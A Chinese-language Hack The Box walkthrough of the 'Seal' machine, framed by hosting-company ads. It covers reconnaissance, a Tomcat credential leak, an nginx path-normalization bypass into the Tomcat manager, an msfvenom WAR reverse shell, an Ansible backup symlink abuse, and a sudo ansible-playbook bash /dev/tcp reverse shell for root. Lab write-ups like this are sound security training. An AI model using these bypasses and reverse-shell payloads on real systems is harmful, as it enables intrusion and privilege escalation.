【Hack The Box】linux練習-- seal
目前創(chuàng)新互聯(lián)公司已為成百上千家的企業(yè)提供了網(wǎng)站建設、域名、網(wǎng)站空間、網(wǎng)站托管運營、企業(yè)網(wǎng)站設計、介休網(wǎng)站維護等服務,公司將堅持客戶導向、應用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長,共同發(fā)展。🔥系列專欄:Hack The Box
🎉歡迎關(guān)注🔎點贊👍收藏??留言📝
📆首發(fā)時間:🌴2022年11月17日🌴
🍭作者水平很有限,如果發(fā)現(xiàn)錯誤,還望告知,感謝!
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 401 Unauthorized
| Date: Sat, 21 Aug 2021 00:59:51 GMT
| Set-Cookie: JSESSIONID=node0gavl59qm2zrx1qhzhowcumpi72.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| GetRequest:
| HTTP/1.1 401 Unauthorized
| Date: Sat, 21 Aug 2021 00:59:50 GMT
| Set-Cookie: JSESSIONID=node0drs9zl7mym6gi9hyziw3t1m90.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Sat, 21 Aug 2021 00:59:51 GMT
| Set-Cookie: JSESSIONID=node01q9qys7bogc7sqx9vdtz49od11.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| Bad Message 400reason: Illegal
commonName=seal.htb
nginx/1.18.0 (Ubuntu)
還有一個8080的代理服務器應該是(http-proxy)
wfuzz -u https://10.10.10.250 -H 'Host: FUZZ.seal.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
顯然默認大小寫chars有 19737 個字符。 我會添加 --hh 19737并重新運行:
結(jié)果如下,全是400,
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000689: 400 16 L 122 W 2250 Ch "gc._msdcs"
000009532: 400 14 L 100 W 1949 Ch "#www"
000010581: 400 14 L 100 W 1949 Ch "#mail"
000019834: 400 14 L 100 W 1949 Ch "_domainkey"
443發(fā)現(xiàn)了一個可疑用戶名
Jomono
發(fā)現(xiàn)一個注冊,但沒有發(fā)現(xiàn)登陸
網(wǎng)站上有兩種形式可以接受輸入,一種是搜索,另一種是聯(lián)系我們。
其他地方?jīng)]有任何功能
兩種形式都將所有輸入作為 GET 參數(shù)粘貼,返回的頁面與沒有參數(shù)的頁面完全相同:
GET /?Your+Name=0xdf&Email=0xdf%40seal.htb&Phone+Number=9999&Message=9999 HTTP/1.1
Host: seal.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://seal.htb/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
目錄爆破feroxbuster -u https://seal.htb -k
爆破方法隨便,咋樣都行
02 0l 0w 0c https://seal.htb/admin
302 0l 0w 0c https://seal.htb/images
302 0l 0w 0c https://seal.htb/css
302 0l 0w 0c https://seal.htb/js
302 0l 0w 0c https://seal.htb/manager
302 0l 0w 0c https://seal.htb/icon
[####################] - 33s 29999/29999 0s found:6 errors:0
[####################] - 32s 29999/29999 918/s https://seal.htb
/manager是 Tomcat 網(wǎng)絡服務器的通用路徑。 /manager/html是基于 GUI 的管理面板,并且 /manager/text/是基于文本的版本(我在 Tabby 中使用了它)。
有趣的是 feroxbuster沒找到 /manager/html/或者 /manager/text/. 當我嘗試結(jié)帳時 /manager在 Firefox 中,它無法連接:
我將用curl訪問這個頁面,看看具體信息
curl -k -I https://10.129.95.190/manager
看到他是重定向到了http,而http上只有8080的代理,卻沒有80的web
目前沒辦法,又可能內(nèi)部運行了一個80,但目前沒有思路
admin目錄也沒有東西,顯示頁面無索引,那我們就接著爆破一下
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu?
──────────────────────────────────────────────────
403 7l 10w 162c https://seal.htb/admin/dashboard
403 7l 10w 162c https://seal.htb/admin/dashboards
有兩個
啥也沒有
gitbucket 的一個實例
沒有弱口令,初步檢測沒有sql注入,有注冊頁面
我將注冊一個賬號
隨便點開一個能發(fā)現(xiàn)使用的tomcat和nginx
點開tomcat有一些配置文件,但是沒有包含密碼的那個默認配置文件
在一個xml文件找到了賬號密碼
username="tomcat" password="42MrHBf*z8{Z%"
/manager/html,是403. 我可以嘗試基于文本的管理器,但我沒有那個角色(會顯示 manager-script在 roles).
繼續(xù)找,還有很多配置信息
代理了一個本地8000
并且本地的 /manager/html被代理掉了,結(jié)合實際情況
肯定有一個8000的端口代理了tomcat登陸
所以我們接下來的思路就是要拿到一個shel
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
演示文稿中的示例如下所示:
簡單來說 當nginx回隱藏一些常用服務 通過混淆,繞過nginx但是tomcat正確識別的方法 如果我傳遞一個像這樣的 URL :
https://seal.htb/manager;name=rong/html, NGINX 會將其視為完整的 URL,但 Tomcat
會將其視為 https://seal.htb/manager/html. 第一個 URL 不匹配 需要轉(zhuǎn)發(fā)的
/manager/html,因此它不會檢查相互身份驗證。 相反,它將被轉(zhuǎn)發(fā)到 Tomcat。 但是 Tomcat 會看到
/manager/html, 并返回該頁面。 這是有效的:
我將訪問下面的url
https://seal.htb/manager;name=rong/html
并且輸入這個憑證
username=tomcat password=42MrHBf*z8{Z%
登陸到了控制面板,在下面的war上傳界面可以上傳惡意war文件
msfvenom -p java/shell_reverse_tcp lhost=10.10.14.29 lport=443 -f war -o rev.war
而后在首頁,單擊文件
本地拿到shell
創(chuàng)建穩(wěn)定shell
script /dev/null -c bash
/opt有個 backups文件夾:
打開一路往下
/opt/backups/archives
這個應該是一處歸檔文件,可是里面什么都沒有
但是我看完喀麥隆這一次進攻之后他就突然出現(xiàn)了兩個文件
說明這是計劃任務
我先不管,先把剛才另外一個文件夾看完
這 playbook文件夾有一個文件, run.yml:
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup--.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/
這看起來是每分鐘運行的內(nèi)容。 這是一個 Ansible 包含三個任務
https://www.ansible.com/
Ansible 是一種通用語言,是一個劇本,類似于自動化的做一些動作
三項任務:
Ansible“復制文件”獲取dashborad/的所有文件并將它們復制到該目錄中的/opt/backups/files “Server
Backups”運行 歸檔 模塊生成 .gz帶有時間戳的文件。
“清潔”刪除 files使用 文件 模塊的目錄。
我們利用這個相當于計劃任務的方式是利用軟連接
將我們的/home/luis/目錄軟連接到他執(zhí)行備份的路徑之內(nèi)
為了利用它,我需要在 Tomcat Web 目錄中尋找我可以編寫的內(nèi)容。 找到了 uploads文件夾:
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ find . -writable
./uploads
我將在上傳文件夾中創(chuàng)建指向 luis 主目錄的符號鏈接:
ln -s /home/luis/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/
再備份的時候就可以備份/home/luis/了
tar zxf backup-2022-11-24-10:56:33.gz --force-local
那其實是因為 tar對待 :表示它之前的部分是它應該連接到的主機名。 我可以通過重命名來解決這個問題
或者給它 --force-local。
luis目錄下還有一個.ssh
復制到本地而后賦權(quán)600
而后登陸ssh
劇本提權(quán)
我將寫一個劇本而后調(diào)用它
rev.yml
- hosts: localhost
tasks:
- name: rev
shell: bash -c 'bash -i >& /dev/tcp/10.10.14.22/443 0>&1'
sudo ansible-playbook rev.yml
你是否還在尋找穩(wěn)定的海外服務器提供商?創(chuàng)新互聯(lián)www.cdcxhl.cn海外機房具備T級流量清洗系統(tǒng)配攻擊溯源,準確流量調(diào)度確保服務器高可用性,企業(yè)級服務器適合批量采購,新人活動首月15元起,快前往官網(wǎng)查看詳情吧